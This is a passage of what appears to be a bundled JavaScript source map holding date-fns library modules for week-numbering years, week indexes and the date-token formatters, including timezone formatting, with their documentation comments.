firstWeekOfThisYear.setFullYear(year, 0, firstWeekContainsDate);\n  firstWeekOfThisYear.setHours(0, 0, 0, 0);\n  const startOfThisYear = startOfWeek(firstWeekOfThisYear, options);\n\n  if (_date.getTime() >= startOfNextYear.getTime()) {\n    return year + 1;\n  } else if (_date.getTime() >= startOfThisYear.getTime()) {\n    return year;\n  } else {\n    return year - 1;\n  }\n}\n\n// Fallback for modularized imports:\nexport default getWeekYear;\n","import { constructFrom } from \"./constructFrom.mjs\";\nimport { getWeekYear } from \"./getWeekYear.mjs\";\nimport { startOfWeek } from \"./startOfWeek.mjs\";\nimport { getDefaultOptions } from \"./_lib/defaultOptions.mjs\";\n\n/**\n * The {@link startOfWeekYear} function options.\n */\n\n/**\n * @name startOfWeekYear\n * @category Week-Numbering Year Helpers\n * @summary Return the start of a local week-numbering year for the given date.\n *\n * @description\n * Return the start of a local week-numbering year.\n * The exact calculation depends on the values of\n * `options.weekStartsOn` (which is the index of the first day of the week)\n * and `options.firstWeekContainsDate` (which is the day of January, which is always in\n * the first week of the week-numbering year)\n *\n * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n * @param options - An object with options\n *\n * @returns The start of a week-numbering year\n *\n * @example\n * // The start of an a week-numbering year for 2 July 2005 with default settings:\n * const result = startOfWeekYear(new Date(2005, 6, 2))\n * //=> Sun Dec 26 2004 00:00:00\n *\n * @example\n * // The start of a week-numbering year for 2 July 2005\n * // if Monday is the first day of week\n * // and 4 January is always in the first week of the year:\n * const result = startOfWeekYear(new Date(2005, 6, 2), {\n *   weekStartsOn: 1,\n *   firstWeekContainsDate: 4\n * })\n * //=> Mon Jan 03 2005 00:00:00\n */\nexport function startOfWeekYear(date, options) {\n  const defaultOptions = getDefaultOptions();\n  const firstWeekContainsDate =\n    options?.firstWeekContainsDate ??\n    options?.locale?.options?.firstWeekContainsDate ??\n    defaultOptions.firstWeekContainsDate ??\n    defaultOptions.locale?.options?.firstWeekContainsDate ??\n    1;\n\n  const year = getWeekYear(date, options);\n  const firstWeek = constructFrom(date, 0);\n  firstWeek.setFullYear(year, 0, firstWeekContainsDate);\n  firstWeek.setHours(0, 0, 0, 0);\n  const _date = startOfWeek(firstWeek, options);\n  return _date;\n}\n\n// Fallback for modularized imports:\nexport default startOfWeekYear;\n","import { millisecondsInWeek } from \"./constants.mjs\";\nimport { startOfWeek } from \"./startOfWeek.mjs\";\nimport { startOfWeekYear } from \"./startOfWeekYear.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n/**\n * The {@link getWeek} function options.\n */\n\n/**\n * @name getWeek\n * @category Week Helpers\n * @summary Get the local week index of the given date.\n *\n * @description\n * Get the local week index of the given date.\n * The exact calculation depends on the values of\n * `options.weekStartsOn` (which is the index of the first day of the week)\n * and `options.firstWeekContainsDate` (which is the day of January, which is always in\n * the first week of the week-numbering year)\n *\n * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The given date\n * @param options - An object with options\n *\n * @returns The week\n *\n * @example\n * // Which week of the local week numbering year is 2 January 2005 with default options?\n * const result = getWeek(new Date(2005, 0, 2))\n * //=> 2\n *\n * @example\n * // Which week of the local week numbering year is 2 January 2005,\n * // if Monday is the first day of the week,\n * // and the first week of the year always contains 4 January?\n * const result = getWeek(new Date(2005, 0, 2), {\n *   weekStartsOn: 1,\n *   firstWeekContainsDate: 4\n * })\n * //=> 53\n */\n\nexport function getWeek(date, options) {\n  const _date = toDate(date);\n  const diff = +startOfWeek(_date, options) - +startOfWeekYear(_date, options);\n\n  // Round the number of weeks to the nearest integer because the number of\n  // milliseconds in a week is not constant (e.g. it's different in the week of\n  // the daylight saving time clock shift).\n  return Math.round(diff / millisecondsInWeek) + 1;\n}\n\n// Fallback for modularized imports:\nexport default getWeek;\n","export function addLeadingZeros(number, targetLength) {\n  const sign = number < 0 ? \"-\" : \"\";\n  const output = Math.abs(number).toString().padStart(targetLength, \"0\");\n  return sign + output;\n}\n","import { addLeadingZeros } from \"../addLeadingZeros.mjs\";\n\n/*\n * |     | Unit                           |     | Unit                           |\n * |-----|--------------------------------|-----|--------------------------------|\n * |  a  | AM, PM                         |  A* |                                |\n * |  d  | Day of month                   |  D  |                                |\n * |  h  | Hour [1-12]                    |  H  | Hour [0-23]                    |\n * |  m  | Minute                         |  M  | Month                          |\n * |  s  | Second                         |  S  | Fraction of second             |\n * |  y  | Year (abs)                     |  Y  |                                |\n *\n * Letters marked by * are not implemented but reserved by Unicode standard.\n */\n\nexport const lightFormatters = {\n  // Year\n  y(date, token) {\n    // From http://www.unicode.org/reports/tr35/tr35-31/tr35-dates.html#Date_Format_tokens\n    // | Year     |     y | yy |   yyy |  yyyy | yyyyy |\n    // |----------|-------|----|-------|-------|-------|\n    // | AD 1     |     1 | 01 |   001 |  0001 | 00001 |\n    // | AD 12    |    12 | 12 |   012 |  0012 | 00012 |\n    // | AD 123   |   123 | 23 |   123 |  0123 | 00123 |\n    // | AD 1234  |  1234 | 34 |  1234 |  1234 | 01234 |\n    // | AD 12345 | 12345 | 45 | 12345 | 12345 | 12345 |\n\n    const signedYear = date.getFullYear();\n    // Returns 1 for 1 BC (which is year 0 in JavaScript)\n    const year = signedYear > 0 ? signedYear : 1 - signedYear;\n    return addLeadingZeros(token === \"yy\" ? year % 100 : year, token.length);\n  },\n\n  // Month\n  M(date, token) {\n    const month = date.getMonth();\n    return token === \"M\" ? String(month + 1) : addLeadingZeros(month + 1, 2);\n  },\n\n  // Day of the month\n  d(date, token) {\n    return addLeadingZeros(date.getDate(), token.length);\n  },\n\n  // AM or PM\n  a(date, token) {\n    const dayPeriodEnumValue = date.getHours() / 12 >= 1 ? \"pm\" : \"am\";\n\n    switch (token) {\n      case \"a\":\n      case \"aa\":\n        return dayPeriodEnumValue.toUpperCase();\n      case \"aaa\":\n        return dayPeriodEnumValue;\n      case \"aaaaa\":\n        return dayPeriodEnumValue[0];\n      case \"aaaa\":\n      default:\n        return dayPeriodEnumValue === \"am\" ? \"a.m.\" : \"p.m.\";\n    }\n  },\n\n  // Hour [1-12]\n  h(date, token) {\n    return addLeadingZeros(date.getHours() % 12 || 12, token.length);\n  },\n\n  // Hour [0-23]\n  H(date, token) {\n    return addLeadingZeros(date.getHours(), token.length);\n  },\n\n  // Minute\n  m(date, token) {\n    return addLeadingZeros(date.getMinutes(), token.length);\n  },\n\n  // Second\n  s(date, token) {\n    return addLeadingZeros(date.getSeconds(), token.length);\n  },\n\n  // Fraction of second\n  S(date, token) {\n    const numberOfDigits = token.length;\n    const milliseconds = date.getMilliseconds();\n    const fractionalSeconds = Math.trunc(\n      milliseconds * Math.pow(10, numberOfDigits - 3),\n    );\n    return addLeadingZeros(fractionalSeconds, token.length);\n  },\n};\n","import { getDayOfYear } from \"../../getDayOfYear.mjs\";\nimport { getISOWeek } from \"../../getISOWeek.mjs\";\nimport { getISOWeekYear } from \"../../getISOWeekYear.mjs\";\nimport { getWeek } from \"../../getWeek.mjs\";\nimport { getWeekYear } from \"../../getWeekYear.mjs\";\nimport { addLeadingZeros } from \"../addLeadingZeros.mjs\";\nimport { lightFormatters } from \"./lightFormatters.mjs\";\n\nconst dayPeriodEnum = {\n  am: \"am\",\n  pm: \"pm\",\n  midnight: \"midnight\",\n  noon: \"noon\",\n  morning: \"morning\",\n  afternoon: \"afternoon\",\n  evening: \"evening\",\n  night: \"night\",\n};\n\n/*\n * |     | Unit                           |     | Unit                           |\n * |-----|--------------------------------|-----|--------------------------------|\n * |  a  | AM, PM                         |  A* | Milliseconds in day            |\n * |  b  | AM, PM, noon, midnight         |  B  | Flexible day period            |\n * |  c  | Stand-alone local day of week  |  C* | Localized hour w/ day period   |\n * |  d  | Day of month                   |  D  | Day of year                    |\n * |  e  | Local day of week              |  E  | Day of week                    |\n * |  f  |                                |  F* | Day of week in month           |\n * |  g* | Modified Julian day            |  G  | Era                            |\n * |  h  | Hour [1-12]                    |  H  | Hour [0-23]                    |\n * |  i! | ISO day of week                |  I! | ISO week of year               |\n * |  j* | Localized hour w/ day period   |  J* | Localized hour w/o day period  |\n * |  k  | Hour [1-24]                    |  K  | Hour [0-11]                    |\n * |  l* | (deprecated)                   |  L  | Stand-alone month              |\n * |  m  | Minute                         |  M  | Month                          |\n * |  n  |                                |  N  |                                |\n * |  o! | Ordinal number modifier        |  O  | Timezone (GMT)                 |\n * |  p! | Long localized time            |  P! | Long localized date            |\n * |  q  | Stand-alone quarter            |  Q  | Quarter                        |\n * |  r* | Related Gregorian year         |  R! | ISO week-numbering year        |\n * |  s  | Second                         |  S  | Fraction of second             |\n * |  t! | Seconds timestamp              |  T! | Milliseconds timestamp         |\n * |  u  | Extended year                  |  U* | Cyclic year                    |\n * |  v* | Timezone (generic non-locat.)  |  V* | Timezone (location)            |\n * |  w  | Local week of year             |  W* | Week of month                  |\n * |  x  | Timezone (ISO-8601 w/o Z)      |  X  | Timezone (ISO-8601)            |\n * |  y  | Year (abs)                     |  Y  | Local week-numbering year      |\n * |  z  | Timezone (specific non-locat.) |  Z* | Timezone (aliases)             |\n *\n * Letters marked by * are not implemented but reserved by Unicode standard.\n *\n * Letters marked by ! are non-standard, but implemented by date-fns:\n * - `o` modifies the previous token to turn it into an ordinal (see `format` docs)\n * - `i` is ISO day of week. For `i` and `ii` is returns numeric ISO week days,\n *   i.e. 7 for Sunday, 1 for Monday, etc.\n * - `I` is ISO week of year, as opposed to `w` which is local week of year.\n * - `R` is ISO week-numbering year, as opposed to `Y` which is local week-numbering year.\n *   `R` is supposed to be used in conjunction with `I` and `i`\n *   for universal ISO week-numbering date, whereas\n *   `Y` is supposed to be used in conjunction with `w` and `e`\n *   for week-numbering date specific to the locale.\n * - `P` is long localized date format\n * - `p` is long localized time format\n */\n\nexport const formatters = {\n  // Era\n  G: function (date, token, localize) {\n    const era = date.getFullYear() > 0 ? 1 : 0;\n    switch (token) {\n      // AD, BC\n      case \"G\":\n      case \"GG\":\n      case \"GGG\":\n        return localize.era(era, { width: \"abbreviated\" });\n      // A, B\n      case \"GGGGG\":\n        return localize.era(era, { width: \"narrow\" });\n      // Anno Domini, Before Christ\n      case \"GGGG\":\n      default:\n        return localize.era(era, { width: \"wide\" });\n    }\n  },\n\n  // Year\n  y: function (date, token, localize) {\n    // Ordinal number\n    if (token === \"yo\") {\n      const signedYear = date.getFullYear();\n      // Returns 1 for 1 BC (which is year 0 in JavaScript)\n      const year = signedYear > 0 ? signedYear : 1 - signedYear;\n      return localize.ordinalNumber(year, { unit: \"year\" });\n    }\n\n    return lightFormatters.y(date, token);\n  },\n\n  // Local week-numbering year\n  Y: function (date, token, localize, options) {\n    const signedWeekYear = getWeekYear(date, options);\n    // Returns 1 for 1 BC (which is year 0 in JavaScript)\n    const weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;\n\n    // Two digit year\n    if (token === \"YY\") {\n      const twoDigitYear = weekYear % 100;\n      return addLeadingZeros(twoDigitYear, 2);\n    }\n\n    // Ordinal number\n    if (token === \"Yo\") {\n      return localize.ordinalNumber(weekYear, { unit: \"year\" });\n    }\n\n    // Padding\n    return addLeadingZeros(weekYear, token.length);\n  },\n\n  // ISO week-numbering year\n  R: function (date, token) {\n    const isoWeekYear = getISOWeekYear(date);\n\n    // Padding\n    return addLeadingZeros(isoWeekYear, token.length);\n  },\n\n  // Extended year. This is a single number designating the year of this calendar system.\n  // The main difference between `y` and `u` localizers are B.C. years:\n  // | Year | `y` | `u` |\n  // |------|-----|-----|\n  // | AC 1 |   1 |   1 |\n  // | BC 1 |   1 |   0 |\n  // | BC 2 |   2 |  -1 |\n  // Also `yy` always returns the last two digits of a year,\n  // while `uu` pads single digit years to 2 characters and returns other years unchanged.\n  u: function (date, token) {\n    const year = date.getFullYear();\n    return addLeadingZeros(year, token.length);\n  },\n\n  // Quarter\n  Q: function (date, token, localize) {\n    const quarter = Math.ceil((date.getMonth() + 1) / 3);\n    switch (token) {\n      // 1, 2, 3, 4\n      case \"Q\":\n        return String(quarter);\n      // 01, 02, 03, 04\n      case \"QQ\":\n        return addLeadingZeros(quarter, 2);\n      // 1st, 2nd, 3rd, 4th\n      case \"Qo\":\n        return localize.ordinalNumber(quarter, { unit: \"quarter\" });\n      // Q1, Q2, Q3, Q4\n      case \"QQQ\":\n        return localize.quarter(quarter, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      // 1, 2, 3, 4 (narrow quarter; could be not numerical)\n      case \"QQQQQ\":\n        return localize.quarter(quarter, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      // 1st quarter, 2nd quarter, ...\n      case \"QQQQ\":\n      default:\n        return localize.quarter(quarter, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // Stand-alone quarter\n  q: function (date, token, localize) {\n    const quarter = Math.ceil((date.getMonth() + 1) / 3);\n    switch (token) {\n      // 1, 2, 3, 4\n      case \"q\":\n        return String(quarter);\n      // 01, 02, 03, 04\n      case \"qq\":\n        return addLeadingZeros(quarter, 2);\n      // 1st, 2nd, 3rd, 4th\n      case \"qo\":\n        return localize.ordinalNumber(quarter, { unit: \"quarter\" });\n      // Q1, Q2, Q3, Q4\n      case \"qqq\":\n        return localize.quarter(quarter, {\n          width: \"abbreviated\",\n          context: \"standalone\",\n        });\n      // 1, 2, 3, 4 (narrow quarter; could be not numerical)\n      case \"qqqqq\":\n        return localize.quarter(quarter, {\n          width: \"narrow\",\n          context: \"standalone\",\n        });\n      // 1st quarter, 2nd quarter, ...\n      case \"qqqq\":\n      default:\n        return localize.quarter(quarter, {\n          width: \"wide\",\n          context: \"standalone\",\n        });\n    }\n  },\n\n  // Month\n  M: function (date, token, localize) {\n    const month = date.getMonth();\n    switch (token) {\n      case \"M\":\n      case \"MM\":\n        return lightFormatters.M(date, token);\n      // 1st, 2nd, ..., 12th\n      case \"Mo\":\n        return localize.ordinalNumber(month + 1, { unit: \"month\" });\n      // Jan, Feb, ..., Dec\n      case \"MMM\":\n        return localize.month(month, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      // J, F, ..., D\n      case \"MMMMM\":\n        return localize.month(month, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      // January, February, ..., December\n      case \"MMMM\":\n      default:\n        return localize.month(month, { width: \"wide\", context: \"formatting\" });\n    }\n  },\n\n  // Stand-alone month\n  L: function (date, token, localize) {\n    const month = date.getMonth();\n    switch (token) {\n      // 1, 2, ..., 12\n      case \"L\":\n        return String(month + 1);\n      // 01, 02, ..., 12\n      case \"LL\":\n        return addLeadingZeros(month + 1, 2);\n      // 1st, 2nd, ..., 12th\n      case \"Lo\":\n        return localize.ordinalNumber(month + 1, { unit: \"month\" });\n      // Jan, Feb, ..., Dec\n      case \"LLL\":\n        return localize.month(month, {\n          width: \"abbreviated\",\n          context: \"standalone\",\n        });\n      // J, F, ..., D\n      case \"LLLLL\":\n        return localize.month(month, {\n          width: \"narrow\",\n          context: \"standalone\",\n        });\n      // January, February, ..., December\n      case \"LLLL\":\n      default:\n        return localize.month(month, { width: \"wide\", context: \"standalone\" });\n    }\n  },\n\n  // Local week of year\n  w: function (date, token, localize, options) {\n    const week = getWeek(date, options);\n\n    if (token === \"wo\") {\n      return localize.ordinalNumber(week, { unit: \"week\" });\n    }\n\n    return addLeadingZeros(week, token.length);\n  },\n\n  // ISO week of year\n  I: function (date, token, localize) {\n    const isoWeek = getISOWeek(date);\n\n    if (token === \"Io\") {\n      return localize.ordinalNumber(isoWeek, { unit: \"week\" });\n    }\n\n    return addLeadingZeros(isoWeek, token.length);\n  },\n\n  // Day of the month\n  d: function (date, token, localize) {\n    if (token === \"do\") {\n      return localize.ordinalNumber(date.getDate(), { unit: \"date\" });\n    }\n\n    return lightFormatters.d(date, token);\n  },\n\n  // Day of year\n  D: function (date, token, localize) {\n    const dayOfYear = getDayOfYear(date);\n\n    if (token === \"Do\") {\n      return localize.ordinalNumber(dayOfYear, { unit: \"dayOfYear\" });\n    }\n\n    return addLeadingZeros(dayOfYear, token.length);\n  },\n\n  // Day of week\n  E: function (date, token, localize) {\n    const dayOfWeek = date.getDay();\n    switch (token) {\n      // Tue\n      case \"E\":\n      case \"EE\":\n      case \"EEE\":\n        return localize.day(dayOfWeek, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      // T\n      case \"EEEEE\":\n        return localize.day(dayOfWeek, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      // Tu\n      case \"EEEEEE\":\n        return localize.day(dayOfWeek, {\n          width: \"short\",\n          context: \"formatting\",\n        });\n      // Tuesday\n      case \"EEEE\":\n      default:\n        return localize.day(dayOfWeek, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // Local day of week\n  e: function (date, token, localize, options) {\n    const dayOfWeek = date.getDay();\n    const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;\n    switch (token) {\n      // Numerical value (Nth day of week with current locale or weekStartsOn)\n      case \"e\":\n        return String(localDayOfWeek);\n      // Padded numerical value\n      case \"ee\":\n        return addLeadingZeros(localDayOfWeek, 2);\n      // 1st, 2nd, ..., 7th\n      case \"eo\":\n        return localize.ordinalNumber(localDayOfWeek, { unit: \"day\" });\n      case \"eee\":\n        return localize.day(dayOfWeek, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      // T\n      case \"eeeee\":\n        return localize.day(dayOfWeek, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      // Tu\n      case \"eeeeee\":\n        return localize.day(dayOfWeek, {\n          width: \"short\",\n          context: \"formatting\",\n        });\n      // Tuesday\n      case \"eeee\":\n      default:\n        return localize.day(dayOfWeek, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // Stand-alone local day of week\n  c: function (date, token, localize, options) {\n    const dayOfWeek = date.getDay();\n    const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;\n    switch (token) {\n      // Numerical value (same as in `e`)\n      case \"c\":\n        return String(localDayOfWeek);\n      // Padded numerical value\n      case \"cc\":\n        return addLeadingZeros(localDayOfWeek, token.length);\n      // 1st, 2nd, ..., 7th\n      case \"co\":\n        return localize.ordinalNumber(localDayOfWeek, { unit: \"day\" });\n      case \"ccc\":\n        return localize.day(dayOfWeek, {\n          width: \"abbreviated\",\n          context: \"standalone\",\n        });\n      // T\n      case \"ccccc\":\n        return localize.day(dayOfWeek, {\n          width: \"narrow\",\n          context: \"standalone\",\n        });\n      // Tu\n      case \"cccccc\":\n        return localize.day(dayOfWeek, {\n          width: \"short\",\n          context: \"standalone\",\n        });\n      // Tuesday\n      case \"cccc\":\n      default:\n        return localize.day(dayOfWeek, {\n          width: \"wide\",\n          context: \"standalone\",\n        });\n    }\n  },\n\n  // ISO day of week\n  i: function (date, token, localize) {\n    const dayOfWeek = date.getDay();\n    const isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;\n    switch (token) {\n      // 2\n      case \"i\":\n        return String(isoDayOfWeek);\n      // 02\n      case \"ii\":\n        return addLeadingZeros(isoDayOfWeek, token.length);\n      // 2nd\n      case \"io\":\n        return localize.ordinalNumber(isoDayOfWeek, { unit: \"day\" });\n      // Tue\n      case \"iii\":\n        return localize.day(dayOfWeek, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      // T\n      case \"iiiii\":\n        return localize.day(dayOfWeek, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      // Tu\n      case \"iiiiii\":\n        return localize.day(dayOfWeek, {\n          width: \"short\",\n          context: \"formatting\",\n        });\n      // Tuesday\n      case \"iiii\":\n      default:\n        return localize.day(dayOfWeek, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // AM or PM\n  a: function (date, token, localize) {\n    const hours = date.getHours();\n    const dayPeriodEnumValue = hours / 12 >= 1 ? \"pm\" : \"am\";\n\n    switch (token) {\n      case \"a\":\n      case \"aa\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      case \"aaa\":\n        return localize\n          .dayPeriod(dayPeriodEnumValue, {\n            width: \"abbreviated\",\n            context: \"formatting\",\n          })\n          .toLowerCase();\n      case \"aaaaa\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      case \"aaaa\":\n      default:\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // AM, PM, midnight, noon\n  b: function (date, token, localize) {\n    const hours = date.getHours();\n    let dayPeriodEnumValue;\n    if (hours === 12) {\n      dayPeriodEnumValue = dayPeriodEnum.noon;\n    } else if (hours === 0) {\n      dayPeriodEnumValue = dayPeriodEnum.midnight;\n    } else {\n      dayPeriodEnumValue = hours / 12 >= 1 ? \"pm\" : \"am\";\n    }\n\n    switch (token) {\n      case \"b\":\n      case \"bb\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      case \"bbb\":\n        return localize\n          .dayPeriod(dayPeriodEnumValue, {\n            width: \"abbreviated\",\n            context: \"formatting\",\n          })\n          .toLowerCase();\n      case \"bbbbb\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      case \"bbbb\":\n      default:\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // in the morning, in the afternoon, in the evening, at night\n  B: function (date, token, localize) {\n    const hours = date.getHours();\n    let dayPeriodEnumValue;\n    if (hours >= 17) {\n      dayPeriodEnumValue = dayPeriodEnum.evening;\n    } else if (hours >= 12) {\n      dayPeriodEnumValue = dayPeriodEnum.afternoon;\n    } else if (hours >= 4) {\n      dayPeriodEnumValue = dayPeriodEnum.morning;\n    } else {\n      dayPeriodEnumValue = dayPeriodEnum.night;\n    }\n\n    switch (token) {\n      case \"B\":\n      case \"BB\":\n      case \"BBB\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"abbreviated\",\n          context: \"formatting\",\n        });\n      case \"BBBBB\":\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"narrow\",\n          context: \"formatting\",\n        });\n      case \"BBBB\":\n      default:\n        return localize.dayPeriod(dayPeriodEnumValue, {\n          width: \"wide\",\n          context: \"formatting\",\n        });\n    }\n  },\n\n  // Hour [1-12]\n  h: function (date, token, localize) {\n    if (token === \"ho\") {\n      let hours = date.getHours() % 12;\n      if (hours === 0) hours = 12;\n      return localize.ordinalNumber(hours, { unit: \"hour\" });\n    }\n\n    return lightFormatters.h(date, token);\n  },\n\n  // Hour [0-23]\n  H: function (date, token, localize) {\n    if (token === \"Ho\") {\n      return localize.ordinalNumber(date.getHours(), { unit: \"hour\" });\n    }\n\n    return lightFormatters.H(date, token);\n  },\n\n  // Hour [0-11]\n  K: function (date, token, localize) {\n    const hours = date.getHours() % 12;\n\n    if (token === \"Ko\") {\n      return localize.ordinalNumber(hours, { unit: \"hour\" });\n    }\n\n    return addLeadingZeros(hours, token.length);\n  },\n\n  // Hour [1-24]\n  k: function (date, token, localize) {\n    let hours = date.getHours();\n    if (hours === 0) hours = 24;\n\n    if (token === \"ko\") {\n      return localize.ordinalNumber(hours, { unit: \"hour\" });\n    }\n\n    return addLeadingZeros(hours, token.length);\n  },\n\n  // Minute\n  m: function (date, token, localize) {\n    if (token === \"mo\") {\n      return localize.ordinalNumber(date.getMinutes(), { unit: \"minute\" });\n    }\n\n    return lightFormatters.m(date, token);\n  },\n\n  // Second\n  s: function (date, token, localize) {\n    if (token === \"so\") {\n      return localize.ordinalNumber(date.getSeconds(), { unit: \"second\" });\n    }\n\n    return lightFormatters.s(date, token);\n  },\n\n  // Fraction of second\n  S: function (date, token) {\n    return lightFormatters.S(date, token);\n  },\n\n  // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)\n  X: function (date, token, _localize) {\n    const timezoneOffset = date.getTimezoneOffset();\n\n    if (timezoneOffset === 0) {\n      return \"Z\";\n    }\n\n    switch (token) {\n      // Hours and optional minutes\n      case \"X\":\n        return formatTimezoneWithOptionalMinutes(timezoneOffset);\n\n      // Hours, minutes and optional seconds without `:` delimiter\n      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets\n      // so this token always has the same output as `XX`\n      case \"XXXX\":\n      case \"XX\": // Hours and minutes without `:` delimiter\n        return formatTimezone(timezoneOffset);\n\n      // Hours, minutes and optional seconds with `:` delimiter\n      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets\n      // so this token always has the same output as `XXX`\n      case \"XXXXX\":\n      case \"XXX\": // Hours and minutes with `:` delimiter\n      default:\n        return formatTimezone(timezoneOffset, \":\");\n    }\n  },\n\n  // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)\n  x: function (date, token, _localize) {\n    const timezoneOffset = date.getTimezoneOffset();\n\n    switch (token) {\n      // Hours and optional minutes\n      case \"x\":\n        return formatTimezoneWithOptionalMinutes(timezoneOffset);\n\n      // Hours, minutes and optional seconds without `:` delimiter\n      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets\n      // so this token always has the same output as `xx`\n      case \"xxxx\":\n      case \"xx\": // Hours and minutes without `:` delimiter\n        return formatTimezone(timezoneOffset);\n\n      // Hours, minutes and optional seconds with `:` delimiter\n      // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets\n      // so this token always has the same output as `xxx`\n      case \"xxxxx\":\n      case \"xxx\": // Hours and minutes with `:` delimiter\n      default:\n        return formatTimezone(timezoneOffset, \":\");\n    }\n  },\n\n  // Timezone (GMT)\n  O: function (date, token, _localize) {\n    const timezoneOffset = date.getTimezoneOffset();\n\n    switch (token) {\n      // Short\n      case \"O\":\n      case \"OO\":\n      case \"OOO\":\n        return \"GMT\" + formatTimezoneShort(timezoneOffset, \":\");\n      // Long\n      case \"OOOO\":\n      default:\n        return \"GMT\" + formatTimezone(timezoneOffset, \":\");\n    }\n  },\n\n  // Timezone (specific non-location)\n  z: function (date, token, _localize) {\n    const timezoneOffset = date.getTimezoneOffset();\n\n    switch (token) {\n      // Short\n      case \"z\":\n      case \"zz\":\n      case \"zzz\":\n        return \"GMT\" + formatTimezoneShort(timezoneOffset, \":\");\n      // Long\n      case \"zzzz\":\n      default:\n        return \"GMT\" + formatTimezone(timezoneOffset, \":\");\n    }\n  },\n\n  // Seconds timestamp\n  t: function (date, token, _localize) {\n    const timestamp = Math.trunc(date.getTime() / 1000);\n    return addLeadingZeros(timestamp, token.length);\n  },\n\n  // Milliseconds timestamp\n  T: function (date, token, _localize) {\n    const timestamp = date.getTime();\n    return addLeadingZeros(timestamp, token.length);\n  },\n};\n\nfunction formatTimezoneShort(offset, delimiter = \"\") {\n  const sign = offset > 0 ? \"-\" : \"+\";\n  const absOffset = Math.abs(offset);\n  const hours = Math.trunc(absOffset / 60);\n  const minutes = absOffset % 60;\n  if (minutes === 0) {\n    return sign + String(hours);\n  }\n  return sign + String(hours) + delimiter + addLeadingZeros(minutes, 2);\n}\n\nfunction formatTimezoneWithOptionalMinutes(offset, delimiter) {\n  if (offset % 60 === 0) {\n    const sign = offset > 0 ? \"-\" : \"+\";\n    return sign + addLeadingZeros(Math.abs(offset) / 60, 2);\n  }\n  return formatTimezone(offset, delimiter);\n}\n\nfunction formatTimezone(offset, delimiter = \"\") {\n  const sign = offset > 0 ? \"-\" : \"+\";\n  const absOffset = Math.abs(offset);\n  const hours = addLeadingZeros(Math.trunc(absOffset / 60), 2);\n  const minutes = addLeadingZeros(absOffset % 60, 2);\n  return sign + hours + delimiter + minutes;\n}\n","const dateLongFormatter = (pattern, formatLong) => {\n  switch (pattern) {\n    case \"P\":\n      return formatLong.date({ width: \"short\" });\n    case \"PP\":\n      return formatLong.date({ width: \"medium\" });\n    case \"PPP\":\n      return formatLong.date({ width: \"long\" });\n    case \"PPPP\":\n    default:\n      return formatLong.date({ width: \"full\" });\n  }\n};\n\nconst timeLongFormatter = (pattern, formatLong) => {\n  switch (pattern) {\n    case \"p\":\n      return formatLong.time({ width: \"short\" });\n    case \"pp\":\n      return formatLong.time({ width: \"medium\" });\n    case \"ppp\":\n      return formatLong.time({ width: \"long\" });\n    case \"pppp\":\n    default:\n      return formatLong.time({ width: \"full\" });\n  }\n};\n\nconst dateTimeLongFormatter = (pattern, formatLong) => {\n  const matchResult = pattern.match(/(P+)(p+)?/) || [];\n  const datePattern = matchResult[1];\n  const timePattern = matchResult[2];\n\n  if (!timePattern) {\n    return dateLongFormatter(pattern, formatLong);\n  }\n\n  let dateTimeFormat;\n\n  switch (datePattern) {\n    case \"P\":\n      dateTimeFormat = formatLong.dateTime({ width: \"short\" });\n      break;\n    case \"PP\":\n      dateTimeFormat = formatLong.dateTime({ width: \"medium\" });\n      break;\n    case \"PPP\":\n      dateTimeFormat = formatLong.dateTime({ width: \"long\" });\n      break;\n    case \"PPPP\":\n    default:\n      dateTimeFormat = formatLong.dateTime({ width: \"full\" });\n      break;\n  }\n\n  return dateTimeFormat\n    .replace(\"{{date}}\", dateLongFormatter(datePattern, formatLong))\n    .replace(\"{{time}}\", timeLongFormatter(timePattern, formatLong));\n};\n\nexport const longFormatters = {\n  p: timeLongFormatter,\n 